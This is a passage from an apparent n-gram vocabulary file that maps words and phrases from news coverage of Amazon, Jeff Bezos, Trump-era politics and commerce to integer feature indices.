22031, "business quality": 22032, "nasdaq officially": 22033, "bobby bones": 22034, "suze orman": 22035, "kullgren wrote": 22036, "culturally insensitive": 22037, "best page": 22038, "boosters promised": 22039, "charming witty": 22040, "squalid post": 22041, "hire clients": 22042, "volkswagen shagmobile": 22043, "situation abc": 22044, "basic functions": 22045, "c9x w9x": 22046, "sending letters": 22047, "jason redmond": 22048, "physical cash": 22049, "ricin": 22050, "lex": 22051, "zinke told": 22052, "rise suggest": 22053, "reports know": 22054, "wltz": 22055, "medication distributor": 22056, "products according": 22057, "pierce": 22058, "collusion allow": 22059, "tax corporations": 22060, "enviros": 22061, "defenses": 22062, "gallery owner": 22063, "benspielberg": 22064, "bezos spoke": 22065, "source stephanie": 22066, "commie": 22067, "clarity interviews": 22068, "important fines": 22069, "companies valued": 22070, "amazon vendors": 22071, "dots lining": 22072, "transactions reported": 22073, "obtaining monopoly": 22074, "netflix production": 22075, "doing public": 22076, "series takes": 22077, "significant amounts": 22078, "3gb": 22079, "indur": 22080, "suffering economy": 22081, "international network": 22082, "just hit": 22083, "medications specialty": 22084, "internal systems": 22085, "mps voted": 22086, "know cyber": 22087, "pesky mole": 22088, "greene": 22089, "regulatory approval": 22090, "ikea tv": 22091, "conor mcgregor": 22092, "tremendous blow": 22093, "win power": 22094, "say digital": 22095, "conway savages": 22096, "fees charged": 22097, "asap schumer": 22098, "editor pleasure": 22099, "abc jonathan": 22100, "worried continue": 22101, "michael bay": 22102, "food grows": 22103, "business competitors": 22104, "unnamed ice": 22105, "paradox anti": 22106, "india pakistan": 22107, "zinke team": 22108, "tax control": 22109, "reassess maybe": 22110, "financial fallout": 22111, "brighter exlarge": 22112, "believe putin": 22113, "munich": 22114, "workers government": 22115, "attorney alicandro": 22116, "holding inventory": 22117, "seller key": 22118, "subscription shipping": 22119, "companies twitter": 22120, "472": 22121, "mnuchin ascended": 22122, "china retaliates": 22123, "trump speeches": 22124, "galleries fiery": 22125, "quinn emanuel": 22126, "epic tale": 22127, "leblanc": 22128, "officer yes": 22129, "spectrum auctions": 22130, "incentives don": 22131, "toronto waterfront": 22132, "taxes embedded": 22133, "require companies": 22134, "employed republican": 22135, "recent allegations": 22136, "offer cecilia": 22137, "biden announced": 22138, "savvy trump": 22139, "bbc": 22140, "8217 injurious": 22141, "house freedom": 22142, "costs ahead": 22143, "postal treaty": 22144, "lead despite": 22145, "prices rising": 22146, "university silicon": 22147, "suzie": 22148, "merrill lynch": 22149, "llp": 22150, "workers labor": 22151, "retailers big": 22152, "sent 690": 22153, "employee request": 22154, "airbag recall": 22155, "buyingtribune media": 22156, "labor supporter": 22157, "constitutes bank": 22158, "hd": 22159, "kearny": 22160, "absolutely absolutely": 22161, "candidacy instead": 22162, "panoramic": 22163, "completely changed": 22164, "stronger grasp": 22165, "obviously interpreting": 22166, "buy million": 22167, "cranston plays": 22168, "overtaxing": 22169, "simulate having": 22170, "capabilities": 22171, "public iconic": 22172, "eero": 22173, "usps mail": 22174, "coverage president": 22175, "laurel debate": 22176, "started pressuring": 22177, "amplifies pressure": 22178, "trump propaganda": 22179, "apparent lack": 22180, "americans hotstar": 22181, "mail carriers": 22182, "work habits": 22183, "city fuggedaboutit": 22184, "gop lost": 22185, "replacement headlineposttext": 22186, "trillion does": 22187, "protectionist ways": 22188, "bad trump": 22189, "herald press": 22190, "increase service": 22191, "sweatshop working": 22192, "parhizkaran northjersey": 22193, "seattle minimum": 22194, "obama regulators": 22195, "smollett ridiculous": 22196, "morose": 22197, "power drill": 22198, "email thoughts": 22199, "stars jumping": 22200, "travels shorter": 22201, "fahrenheit clash": 22202, "ibm told": 22203, "juni 2018": 22204, "article showing": 22205, "crime mc": 22206, "floridians frank": 22207, "bates yesterday": 22208, "refresh": 22209, "source wall": 22210, "surprising movie": 22211, "2000 amazon": 22212, "bengaluru accounts": 22213, "year shipping": 22214, "little weakness": 22215, "smoothies": 22216, "trump ethanol": 22217, "helping industrial": 22218, "cash bail": 22219, "finalists amazon": 22220, "netroots nation": 22221, "return reasons": 22222, "relationships trump": 22223, "thejustice department": 22224, "open food": 22225, "oct 2017": 22226, "abating": 22227, "cute dogs": 22228, "wider variety": 22229, "decade involved": 22230, "crime policed": 22231, "meds": 22232, "negotiations michael": 22233, "hatch wrote": 22234, "daughter barbara": 22235, "rough": 22236, "farm groups": 22237, "delivery recommendations": 22238, "sauron": 22239, "cared": 22240, "favors reduced": 22241, "commission looking": 22242, "best financial": 22243, "paper salesman": 22244, "day scroll": 22245, "joseph addabbo": 22246, "valanciunas": 22247, "employees new": 22248, "nuanced": 22249, "existing employees": 22250, "gridhash producthash": 22251, "photography plus": 22252, "neighborhoods according": 22253, "include bizarre": 22254, "lenert art": 22255, "twitter jeffersongraham": 22256, "dominick": 22257, "blog post": 22258, "thought gone": 22259, "crummy": 22260, "brennan apparently": 22261, "shopped": 22262, "survivors grow": 22263, "homeless fund": 22264, "fibs": 22265, "trump obamacare": 22266, "seen according": 22267, "trump zeroes": 22268, "coons christopher": 22269, "medium saying": 22270, "wars": 22271, "green bay": 22272, "response photograph": 22273, "digit lead": 22274, "coming years": 22275, "time shall": 22276, "logical": 22277, "internet giants": 22278, "story multiple": 22279, "pencil dress": 22280, "hudson yards": 22281, "pictures": 22282, "hollow charges": 22283, "life hours": 22284, "criminals": 22285, "widow": 22286, "tesla unveils": 22287, "lobbyists amazon": 22288, "internet association": 22289, "called physical": 22290, "require review": 22291, "desperate melania": 22292, "2015 gender": 22293, "make race": 22294, "beast cites": 22295, "senior advisor": 22296, "proud parents": 22297, "demonizing greedy": 22298, "sixth bestselling": 22299, "andwhether": 22300, "rumour": 22301, "idaho need": 22302, "margin electronic": 22303, "tells reporters": 22304, "usps partnership": 22305, "clyburn says": 22306, "tariffs begin": 22307, "market rates": 22308, "easily opt": 22309, "trump eldest": 22310, "kindle friendly": 22311, "offer delivery": 22312, "welles report": 22313, "food sales": 22314, "stressed mass": 22315, "socialist sanders": 22316, "detections face": 22317, "gas sector": 22318, "crystal kaswell": 22319, "care makes": 22320, "massive video": 22321, "influence policymakers": 22322, "nicest": 22323, "hack bezos": 22324, "strategy document": 22325, "envisioned": 22326, "stock performance": 22327, "covers ruth": 22328, "largest american": 22329, "deliveries focusing": 22330, "iranian prison": 22331, "office phone": 22332, "island fulfillment": 22333, "bare": 22334, "normal antitrust": 22335, "remission": 22336, "warrants": 22337, "school joined": 22338, "new poetry": 22339, "guru ivy": 22340, "reported revenue": 22341, "rulemaking": 22342, "asked cities": 22343, "pro mary": 22344, "michael elkan": 22345, "providing facial": 22346, "cultures wi": 22347, "bernard arnault": 22348, "halfhearted yes": 22349, "control mode": 22350, "executive branch": 22351, "imperfect orson": 22352, "authentication": 22353, "occasionally clapped": 22354, "tbs": 22355, "started viral": 22356, "130 words": 22357, "state spending": 22358, "social movement": 22359, "cl acn": 22360, "bank policy": 22361, "delaney": 22362, "amazon jungle": 22363, "improves consumer": 22364, "taxes tweeted": 22365, "stuff purchased": 22366, "greg behrendt": 22367, "amazonian protections": 22368, "nasdaq amgn": 22369, "mining limited": 22370, "sandberg apple": 22371, "internet experience": 22372, "starbucks card": 22373, "cendrowicz": 22374, "lori lightfoot": 22375, "control staggering": 22376, "othertop justice": 22377, "halloween costumes": 22378, "unfounded article": 22379, "claim note": 22380, "posts 2018": 22381, "busy maria": 22382, "probably driving": 22383, "action focused": 22384, "cbs australia": 22385, "just grounds": 22386, "ship package": 22387, "unauthorized birkenstocks": 22388, "letter follows": 22389, "campaign run": 22390, "security policies": 22391, "wsj explains": 22392, "clothes emblazoned": 22393, "nick kokonas": 22394, "national energy": 22395, "washington strong": 22396, "goodbye brian": 22397, "upstate": 22398, "strong medicine": 22399, "jewish foods": 22400, "inherently unprofitable": 22401, "amazon handle": 22402, "standard newspaper": 22403, "subject line": 22404, "city infrastructure": 22405, "grant icann": 22406, "corrupt saying": 22407, "merle contributed": 22408, "tweets": 22409, "today bloomberg": 22410, "favorite platforms": 22411, "vilified bezos": 22412, "photo lorena": 22413, "solutions taking": 22414, "seen cassidy": 22415, "coma": 22416, "google months": 22417, "telling": 22418, "shiny": 22419, "bezos cuz": 22420, "hand way": 22421, "bezos sanders": 22422, "aware senator": 22423, "jessie spirals": 22424, "death cross": 22425, "ceded": 22426, "ted talk": 22427, "ramesh": 22428, "friendly policies": 22429, "amazon told": 22430, "provider items": 22431, "case fingerprint": 22432, "generic drugs": 22433, "reading uk": 22434, "inside president": 22435, "customer relationship": 22436, "presssec twitter": 22437, "swiftly led": 22438, "alphabet followed": 22439, "writer knows": 22440, "deal setting": 22441, "tech federal": 22442, "massive benefits": 22443, "plots": 22444, "women illinois": 22445, "mathison 118": 22446, "biggest forms": 22447, "companies finances": 22448, "republicans johnson": 22449, "decision making": 22450, "thant trump": 22451, "defense contracting": 22452, "earnings going": 22453, "governor phil": 22454, "provides future": 22455, "billion final": 22456, "night episode": 22457, "motivations bezos": 22458, "climate impacts": 22459, "weaker horowitz": 22460, "talking doll": 22461, "biden offered": 22462, "buzzfeed congress": 22463, "newsdaily": 22464, "help new": 22465, "scrutiny reflects": 22466, "trump anti": 22467, "increased delivery": 22468, "area suggesting": 22469, "party members": 22470, "currentvidobj videourl": 22471, "large coin": 22472, "outlook ibm": 22473, "make 000": 22474, "management discussion": 22475, "novelists gary": 22476, "china set": 22477, "outlets linked": 22478, "colourful mad": 22479, "accurately assessed": 22480, "nope nyc": 22481, "hermit": 22482, "niche": 22483, "pistol": 22484, "2019 white": 22485, "employees bitter": 22486, "strong prime": 22487, "standing trump": 22488, "compelling": 22489, "illegally subsidized": 22490, "concurrent": 22491, "better option": 22492, "presidential ire": 22493, "watch albuquerque": 22494, "panel mike": 22495, "driven portfolio": 22496, "diverse sectors": 22497, "conners": 22498, "china raises": 22499, "protest low": 22500, "changes occurring": 22501, "coast": 22502, "bracket": 22503, "rule 10b5": 22504, "institution trump": 22505, "twinkle little": 22506, "multichannel sellers": 22507, "included letter": 22508, "accessed": 22509, "denounce trump": 22510, "failed startup": 22511, "undisclosed time": 22512, "exacts social": 22513, "attacks": 22514, "key terms": 22515, "gross overpayment": 22516, "mongodb based": 22517, "hillary wing": 22518, "group muckerman": 22519, "amazon stems": 22520, "value year": 22521, "disney agreed": 22522, "foundation 10th": 22523, "messages wait": 22524, "report puts": 22525, "cloud gaming": 22526, "technical buy": 22527, "right position": 22528, "csco late": 22529, "requiring bank": 22530, "tuned don": 22531, "gun away": 22532, "season mortgage": 22533, "deal gone": 22534, "brain operating": 22535, "review pride": 22536, "vince lewis": 22537, "clinton sitting": 22538, "dollar empire": 22539, "qdt4yol5z4 bernie": 22540, "amid campaign": 22541, "booth zinke": 22542, "vice versa": 22543, "doesn exist": 22544, "blazing": 22545, "amazon declined": 22546, "ami threatened": 22547, "trudeau bs_link": 22548, "millennial parents": 22549, "nude person": 22550, "offer big": 22551, "worldwide newsletter": 22552, "national republican": 22553, "level trump": 22554, "oeknowing keeps": 22555, "lawn mower": 22556, "political pundit": 22557, "delay tariff": 22558, "fumbles": 22559, "conditioning systems": 22560, "treasure island": 22561, "foster competition": 22562, "budget plan": 22563, "ross franklin": 22564, "pricing advantage": 22565, "4bn 107bn": 22566, "tabloid supposedly": 22567, "nvidia nvda": 22568, "mellow lines": 22569, "indias": 22570, "washington says": 22571, "businesses repeal": 22572, "competitors share": 22573, "big tvs": 22574, "large additional": 22575, "propelled": 22576, "questionable security": 22577, "wsj jake": 22578, "stubs": 22579, "enforce concessions": 22580, "relationship technology": 22581, "military backed": 22582, "dissented": 22583, "automated warehouses": 22584, "make shira": 22585, "rocky white": 22586, "870 billion": 22587, "irrational president": 22588, "jim elliott": 22589, "private conversations": 22590, "president cabinet": 22591, "pete 2020": 22592, "journal headline": 22593, "kennedy did": 22594, "itemizing": 22595, "included president": 22596, "katchen": 22597, "welfare workers": 22598, "photo illustration": 22599, "slowly read": 22600, "numbers according": 22601, "level campaign": 22602, "killing monopoly": 22603, "ap photo": 22604, "facebook advertising": 22605, "delayed ft": 22606, "anchor prior": 22607, "r4ee y6": 22608, "edward jones": 22609, "revenues amazon": 22610, "agreement gives": 22611, "family immigration": 22612, "jarod kushner": 22613, "admission scandal": 22614, "legal documents": 22615, "optic broadband": 22616, "tells fed": 22617, "private prison": 22618, "society resources": 22619, "rising regulatory": 22620, "majority shareholder": 22621, "emails showed": 22622, "burger joint": 22623, "viking press": 22624, "sustaining mchugh": 22625, "old summer": 22626, "rebounders": 22627, "hundreds powerful": 22628, "cyber commerce": 22629, "anonymous letter": 22630, "verbally approached": 22631, "revenue stream": 22632, "expertly": 22633, "provisions discusses": 22634, "simpson wore": 22635, "hilarious joseph": 22636, "photos deer": 22637, "judy": 22638, "expected challenges": 22639, "financially independent": 22640, "capable technologies": 22641, "house salary": 22642, "181406661 abc": 22643, "shopping sites": 22644, "emotional darkness": 22645, "anatomy": 22646, "beck mack": 22647, "bedrijven als": 22648, "industry oppose": 22649, "biggie": 22650, "lego build": 22651, "wine world": 22652, "court": 22653, "register northwest": 22654, "amazon knows": 22655, "constituencies influence": 22656, "1984 world": 22657, "narrow political": 22658, "representative democracy": 22659, "book born": 22660, "cars cpi": 22661, "attract amazon": 22662, "regulate commerce": 22663, "300 miles": 22664, "quadrille": 22665, "225": 22666, "university published": 22667, "considered trade": 22668, "dc afp": 22669, "representing extreme": 22670, "global ones": 22671, "predictable liz": 22672, "programs": 22673, "american issues": 22674, "legacy computer": 22675, "labs geekwire": 22676, "depicted somewhat": 22677, "afp trump": 22678, "street trading": 22679, "swa launched": 22680, "world events": 22681, "amazon contributed": 22682, "bargainers formally": 22683, "dog billionaire": 22684, "mystal elienyc": 22685, "fast path": 22686, "networks reported": 22687, "killed new": 22688, "year working": 22689, "spanned": 22690, "russian princess": 22691, "story rupert": 22692, "home devices": 22693, "group eventually": 22694, "currently public": 22695, "cbc": 22696, "years elkan": 22697, "amazon entirely": 22698, "cbs murphy": 22699, "criticized founder": 22700, "complex economy": 22701, "thisadministration": 22702, "help shape": 22703, "shorter distance": 22704, "people privacy": 22705, "2018 hasn": 22706, "city split": 22707, "american economy": 22708, "city following": 22709, "jarrett cnn": 22710, "g20": 22711, "polling director": 22712, "operation blue": 22713, "iol": 22714, "lawsuit states": 22715, "mexico believe": 22716, "yacht rich": 22717, "additional content": 22718, "unwaveringly": 22719, "doubled": 22720, "size 18px": 22721, "southern indiana": 22722, "maduro speaks": 22723, "merve": 22724, "adapted": 22725, "wigs": 22726, "hernandez instead": 22727, "magazine called": 22728, "turn semi": 22729, "local legislative": 22730, "tracking simpler": 22731, "investors continue": 22732, "salman really": 22733, "conditions inaccurate": 22734, "juana": 22735, "nutritious simple": 22736, "hasn really": 22737, "austin powers": 22738, "abc afghanistan": 22739, "exceed 100": 22740, "celtic fc": 22741, "extraordinary company": 22742, "getelementbyid": 22743, "lift people": 22744, "title spacex": 22745, "michael kern": 22746, "commerce advisor": 22747, "products discovered": 22748, "proper united": 22749, "details building": 22750, "apos products": 22751, "marketing documents": 22752, "win nasdaq": 22753, "books16": 22754, "created": 22755, "inactive": 22756, "opposing party": 22757, "altering amazon": 22758, "using app": 22759, "develop large": 22760, "grp": 22761, "tonight eisen": 22762, "basis facebook": 22763, "excellent emily": 22764, "usps typical": 22765, "51554475796": 22766, "sharpdog sharpd0g": 22767, "cost effectiveness": 22768, "omission": 22769, "monica peart": 22770, "force report": 22771, "label elected": 22772, "collecting suggestions": 22773, "massachusetts democratic": 22774, "education": 22775, "license plate": 22776, "possible removal": 22777, "highest levels": 22778, "reach 275": 22779, "publishing imprint": 22780, "news pacer": 22781, "tomove": 22782, "founder private": 22783, "jump samir": 22784, "amazon bolsonaro": 22785, "ri": 22786, "months deforestation": 22787, "huttenlocher william": 22788, "influential 2017": 22789, "critiquing": 22790, "investigations mission": 22791, "haunting page": 22792, "tournament": 22793, "adding sports": 22794, "ally peter": 22795, "just beginning": 22796, "emre": 22797, "west boulder": 22798, "observation revolves": 22799, "companies hire": 22800, "galvanize rage": 22801, "thing best": 22802, "london playbook": 22803, "wired contacted": 22804, "undermining various": 22805, "profitable businesses": 22806, "2013 mccain": 22807, "primary democrats": 22808, "sensitive everglades": 22809, "projection": 22810, "funeral ireland": 22811, "decals walmart": 22812, "deliver value": 22813, "stations commitment": 22814, "lies woven": 22815, "socio environmental": 22816, "complies fits": 22817, "heated comments": 22818, "2017 brought": 22819, "publicly accused": 22820, "negative consequences": 22821, "youth appealing": 22822, "extraordinary days": 22823, "technically nadler": 22824, "completey block": 22825, "elizabeth nelson": 22826, "gloves inside": 22827, "science cjs": 22828, "counterfeiting industry": 22829, "paprika": 22830, "save time": 22831, "miami book": 22832, "wilbur ross": 22833, "biden book": 22834, "today real": 22835, "admission 101": 22836, "5bn pakistan": 22837, "personal behavior": 22838, "union accused": 22839, "meaningful elections": 22840, "eclipsed": 22841, "strictly obeyed": 22842, "tennis games": 22843, "typeerror": 22844, "amazon fb": 22845, "crews": 22846, "star old": 22847, "dismissed question": 22848, "trump reacted": 22849, "monopoly offer": 22850, "mere sliver": 22851, "upping prices": 22852, "biting presidential": 22853, "dc david": 22854, "story follows": 22855, "chains plunged": 22856, "jani": 22857, "larger counterparts": 22858, "personalities bezos": 22859, "beleaguered": 22860, "catching wind": 22861, "pursue ventures": 22862, "sound": 22863, "service makes": 22864, "near trump": 22865, "obama budget": 22866, "asked matthew": 22867, "unvarnished": 22868, "thirstiest": 22869, "unusually high": 22870, "proposed postal": 22871, "kids measles": 22872, "secured facility": 22873, "vestal ward": 22874, "wands": 22875, "actually achieve": 22876, "buy flip": 22877, "people sake": 22878, "open wayfair": 22879, "statement mississippi": 22880, "protectionist advisers": 22881, "married lauren": 22882, "established fact": 22883, "chinese firms": 22884, "monsanto": 22885, "obviously": 22886, "retail partners": 22887, "enjoy just": 22888, "think 2011": 22889, "play board": 22890, "codex alex": 22891, "guest needs": 22892, "couple did": 22893, "andsign": 22894, "reportedly quietly": 22895, "ledqb0gdhg": 22896, "analysis showed": 22897, "broccoli": 22898, "incited hate": 22899, "accelerating": 22900, "aws continuing": 22901, "support expressed": 22902, "york called": 22903, "focal": 22904, "freight initiative": 22905, "eighth consecutive": 22906, "soaring gains": 22907, "taliban assures": 22908, "wonder cabinet": 22909, "rosslyn ballston": 22910, "force briefed": 22911, "publication commenting": 22912, "paperback version": 22913, "blitzkrieg": 22914, "thinly veiled": 22915, "logged": 22916, "zm4dyqeqxl steve": 22917, "hq2 price": 22918, "attractive": 22919, "companies haven": 22920, "100418": 22921, "vulnerable group": 22922, "campaign war": 22923, "climate corporation": 22924, "happen access": 22925, "involvement": 22926, "movie projects": 22927, "ray hinton": 22928, "business exclusive": 22929, "recovering months": 22930, "gender dynamics": 22931, "senate cr": 22932, "breaking profits": 22933, "reflect schedule": 22934, "geopolitics related": 22935, "yoswein new": 22936, "quarter 2018": 22937, "require multiple": 22938, "children education": 22939, "stories carries": 22940, "title liars": 22941, "fighting fine": 22942, "rocket called": 22943, "publish important": 22944, "2017 slideshows": 22945, "abc boeing": 22946, "google management": 22947, "tumbling": 22948, "mastercard ma": 22949, "hotly": 22950, "simply forgotten": 22951, "investigate bezos": 22952, "tiers": 22953, "sketch paints": 22954, "government overreach": 22955, "numbers reported": 22956, "office gains": 22957, "maria butina": 22958, "trump played": 22959, "important metric": 22960, "sister addalyn": 22961, "morrissey": 22962, "writer kyo": 22963, "posted ebitda": 22964, "wife team": 22965, "wring false": 22966, "revenue report": 22967, "release announcing": 22968, "flick hits": 22969, "integrated company": 22970, "significantly involved": 22971, "changes amazon": 22972, "hbo amazon": 22973, "including report": 22974, "wants bezos": 22975, "mecklenburg": 22976, "newspaper defense": 22977, "grant payment": 22978, "houses stake": 22979, "pasta": 22980, "competing product": 22981, "light poles": 22982, "ironclad case": 22983, "awakens amazon": 22984, "businesses working": 22985, "amazon purchases": 22986, "navarro cited": 22987, "inequality soars": 22988, "challenging actions": 22989, "hourly rate": 22990, "selling price": 22991, "600 million": 22992, "p9x": 22993, "confidential company": 22994, "disallowed": 22995, "amazon courted": 22996, "972": 22997, "used money": 22998, "invented dominating": 22999, "trump siblings": 23000, "particular instances": 23001, "tests measure": 23002, "slow burns": 23003, "recoverable": 23004, "country engaged": 23005, "nyc violent": 23006, "freeze temperatures": 23007, "floyd": 23008, "ceo announcing": 23009, "yesterday treasury": 23010, "course donald": 23011, "congressional review": 23012, "random facts": 23013, "years 2007": 23014, "unlikely google": 23015, "staff image": 23016, "store power": 23017, "gop faces": 23018, "service took": 23019, "morning showing": 23020, "fishing attempts": 23021, "haul flights": 23022, "idra": 23023, "tax obligation": 23024, "plus vice": 23025, "prospective homebuyers": 23026, "article headlined": 23027, "social conscience": 23028, "regina benjamin": 23029, "theories dog": 23030, "company 240": 23031, "trump slapped": 23032, "kissing booth": 23033, "commercials cbs": 23034, "hydropower": 23035, "reagan republican": 23036, "draft proposal": 23037, "life purpose": 23038, "eric thanks": 23039, "market size": 23040, "bit coming": 23041, "lebanon kenya": 23042, "kalb enemy": 23043, "4000 hudgins": 23044, "holiday ad": 23045, "internet relatively": 23046, "freeing": 23047, "drug monitoring": 23048, "schmidt steveschmidtses": 23049, "canadian business": 23050, "media spokesperson": 23051, "news art": 23052, "nationals make": 23053, "hq2 mailer": 23054, "discussing unannounced": 23055, "larger deal": 23056, "actually blood": 23057, "revenue climb": 23058, "goodwin": 23059, "alphabet focus": 23060, "steadily encroached": 23061, "heritage foundation": 23062, "downing": 23063, "month shares": 23064, "china malmstrom": 23065, "michael douglas": 23066, "jonathan kauffman": 23067, "annual tax": 23068, "amazon interests": 23069, "president hassan": 23070, "hearings christine": 23071, "security relies": 23072, "think alibaba": 23073, "circumstances youtube": 23074, "515 000": 23075, "despite efforts": 23076, "bezos shared": 23077, "government murder": 23078, "casually says": 23079, "prescription interdiction": 23080, "horrible person": 23081, "hubbard respective": 23082, "inspiring films": 23083, "2019 says": 23084, "faceoff buhari": 23085, "year wall": 23086, "comment tweet": 23087, "twitter": 23088, "jeff bezo": 23089, "half fake": 23090, "santos cruz": 23091, "getcurrentvideoindex videoid": 23092, "misjudged": 23093, "response resulting": 23094, "page mijente": 23095, "volkswagen audi": 23096, "stellar box": 23097, "work constructively": 23098, "drive unmanned": 23099, "coldly analytical": 23100, "soy exporter": 23101, "print postage": 23102, "mega warehouses": 23103, "violations": 23104, "instagram accounts": 23105, "fincl state": 23106, "declared today": 23107, "blitzer": 23108, "roles jack": 23109, "democratic operatives": 23110, "native texas": 23111, "trillionaire": 23112, "hubbard 13th": 23113, "streaming offerings": 23114, "says google": 23115, "greco": 23116, "bet wins": 23117, "scott introduces": 23118, "free credit": 23119, "image 155x90": 23120, "post media": 23121, "spring dinner": 23122, "getlibraryname configobj": 23123, "trump critical": 23124, "gay married": 23125, "popularize design": 23126, "slides seeking": 23127, "sam bufe": 23128, "getting portrayed": 23129, "586 million": 23130, "harding": 23131, "patrick shanahan": 23132, "time federal": 23133, "company provider": 23134, "named today": 23135, "kylie beauty": 23136, "supports israel": 23137, "ebay fedex": 23138, "critics immediately": 23139, "rl latin": 23140, "carbon pollution": 23141, "told insidesources": 23142, "concerns read": 23143, "lasted longer": 23144, "paid woody": 23145, "771959 las": 23146, "limestone reliefs": 23147, "keoshkerian continued": 23148, "including assassinations": 23149, "taiga syndrome": 23150, "fresh aim": 23151, "visy": 23152, "crossed amazon": 23153, "cosmetics": 23154, "james wrote": 23155, "intelligence research": 23156, "gone uncontested": 23157, "recommendations": 23158, "oppose controversial": 23159, "yorker": 23160, "broke according": 23161, "protocol published": 23162, "competing theories": 23163, "drug prices": 23164, "pass additional": 23165, "future taxes": 23166, "crowded subways": 23167, "meryl streep": 23168, "school break": 23169, "boothe fox": 23170, "gabelli": 23171, "unspecified amazon": 23172, "feminist leanings": 23173, "describes embarrassing": 23174, "amzn extended": 23175, "employees conspiratorial": 23176, "cloud skills": 23177, "wearing ceremonial": 23178, "farmers fuel": 23179, "act trying": 23180, "articleid server719392": 23181, "san suu": 23182, "click": 23183, "french canadian": 23184, "including global": 23185, "feldman": 23186, "lobbying group": 23187, "deep pools": 23188, "tweet share": 23189, "equally bezos": 23190, "bullying": 23191, "formations tougher": 23192, "troops arrive": 23193, "colbert late": 23194, "pram": 23195, "small 169": 23196, "current customers": 23197, "investigators believe": 23198, "spookier": 23199, "orleans uscpr": 23200, "claude juncker": 23201, "worth shrug": 23202, "rep mike": 23203, "trump declaration": 23204, "government policies": 23205, "chevron doctrine": 23206, "hub attached": 23207, "amazon chairman": 23208, "stories": 23209, "joke bezos": 23210, "hill reports": 23211, "currentvideocollection configobj": 23212, "dows": 23213, "people literally": 23214, "knowing keeps": 23215, "agency polices": 23216, "support successful": 23217, "videoplayer hidespinner": 23218, "critical positions": 23219, "cookbook luisa": 23220, "restart power": 23221, "article inmed": 23222, "dub": 23223, "country long": 23224, "reforms president": 23225, "alaska worker": 23226, "ami legal": 23227, "getting hurt": 23228, "acted late": 23229, "expect private": 23230, "remains independent": 23231, "time work": 23232, "board votes": 23233, "subsidies university": 23234, "bezos garage": 23235, "eric trump": 23236, "suggests capping": 23237, "450 look": 23238, "entrepreneur yusaku": 23239, "consumers maxsa": 23240, "duplass": 23241, "simple fable": 23242, "private retailers": 23243, "political group": 23244, "breath": 23245, "qualified federal": 23246, "keeping mum": 23247, "brent crude": 23248, "dinner hosted": 23249, "faced challenges": 23250, "verizon": 23251, "years given": 23252, "trump hisilli": 23253, "says terrific": 23254, "donations \u01421": 23255, "street retailers": 23256, "company poverty": 23257, "continued government": 23258, "951": 23259, "retailer website": 23260, "joint letters": 23261, "qualified engineers": 23262, "2018 yahoo": 23263, "companies typically": 23264, "reported ajit": 23265, "trump reason": 23266, "eclectic": 23267, "sandie jones": 23268, "blackburn opponent": 23269, "toulouse": 23270, "heat including": 23271, "valuation shed": 23272, "protects": 23273, "wickedly entertaining": 23274, "dismantled": 23275, "manny alicandro": 23276, "airbnb medium": 23277, "general hamilton": 23278, "eps cut": 23279, "head gunjan": 23280, "administration cnn": 23281, "ifixit offers": 23282, "navy seal": 23283, "jared kushner": 23284, "brands social": 23285, "lieu": 23286, "tote": 23287, "cold brrrrr": 23288, "appears centered": 23289, "rob patronite": 23290, "peddler": 23291, "fighters traitors": 23292, "2018 report": 23293, "pricing analysis": 23294, "amazon nicholas": 23295, "decries": 23296, "stores think": 23297, "rate increase": 23298, "rainforests saving": 23299, "fundamentally attractive": 23300, "prove amazon": 23301, "election recounts": 23302, "canceling plans": 23303, "president latest": 23304, "mcbride chief": 23305, "bookbinder": 23306, "exhibits": 23307, "started producing": 23308, "names just": 23309, "mogul ami": 23310, "shopping agenda": 23311, "sundar": 23312, "sect": 23313, "model": 23314, "temps": 23315, "747 464": 23316, "internet postage": 23317, "150 million": 23318, "big organisation": 23319, "wife priscilla": 23320, "key technology": 23321, "brutally aggressive": 23322, "convicted npr": 23323, "subjects fertile": 23324, "won matter": 23325, "spinner_": 23326, "joined fox": 23327, "ceptions accessos": 23328, "watchdog asked": 23329, "welcome modest": 23330, "practices finally": 23331, "photo mtp": 23332, "josh groban": 23333, "iranian nuclear": 23334, "starbucks making": 23335, "luminaries": 23336, "falls progressively": 23337, "olsavsky told": 23338, "susan collins": 23339, "president harsh": 23340, "prolific": 23341, "risk seriously": 23342, "woodrow wilson": 23343, "declination decisions": 23344, "city international": 23345, "unsustainable trump": 23346, "asset advsrs": 23347, "time don": 23348, "eu leaders": 23349, "bezos secured": 23350, "wolf blitzer": 23351, "openly dislikes": 23352, "concerning trump": 23353, "biking": 23354, "private mar": 23355, "cancelling netflix": 23356, "trump actual": 23357, "image 640x290": 23358, "stringent": 23359, "tabloid actively": 23360, "grandmother serving": 23361, "laurel dressing": 23362, "domestic turmoil": 23363, "archetype": 23364, "future jobs": 23365, "lethal": 23366, "google merely": 23367, "satirical targets": 23368, "unless separate": 23369, "identified bad": 23370, "457771 realities": 23371, "evans vestal": 23372, "president negotiations": 23373, "government closure": 23374, "know starts": 23375, "revenues adding": 23376, "ice pdf": 23377, "queens asked": 23378, "insider selling": 23379, "pizzagate shirt": 23380, "yorkers know": 23381, "fringe parts": 23382, "saw positive": 23383, "kershner": 23384, "billion microsoft": 23385, "west accepted": 23386, "cutters": 23387, "mean major": 23388, "potentially loss": 23389, "approval board": 23390, "work home": 23391, "necessarily great": 23392, "brutal blizzard": 23393, "2018 oscars": 23394, "googlefor": 23395, "nonstop flight": 23396, "news late": 23397, "future ii": 23398, "2018 isle": 23399, "investigative pieces": 23400, "change india": 23401, "willing partner": 23402, "crazy new": 23403, "new software": 23404, "usmidterms": 23405, "181002134913 beach": 23406, "1930": 23407, "financed": 23408, "candidates running": 23409, "scalzo": 23410, "reporters credentials": 23411, "equities 2018": 23412, "abuse posted": 23413, "chief communications": 23414, "diplomacy far": 23415, "steady progress": 23416, "wayside think": 23417, "bezos owner": 23418, "length pants": 23419, "trump diaper": 23420, "openly gay": 23421, "hubs analysts": 23422, "hit wall": 23423, "locations near": 23424, "company eventually": 23425, "change snap": 23426, "master lease": 23427, "single night": 23428, "marked prime": 23429, "earlyjoin": 23430, "slideshowbillionaire dreamland16": 23431, "cup partnership": 23432, "streaming group": 23433, "configobj autostart": 23434, "cost customers": 23435, "offers preview": 23436, "mainstream success": 23437, "currently climbing": 23438, "technology world": 23439, "birth certificates": 23440, "945": 23441, "karma features": 23442, "skeptical enforcement": 23443, "1021380986452545537": 23444, "china wants": 23445, "make case": 23446, "fires worker": 23447, "hibs celtic": 23448, "location tracking": 23449, "democrat elizabeth": 23450, "businesswire": 23451, "bot": 23452, "reuters rex": 23453, "scrutinized conservative": 23454, "sponsoring": 23455, "buyout": 23456, "xxx": 23457, "integral": 23458, "site eventually": 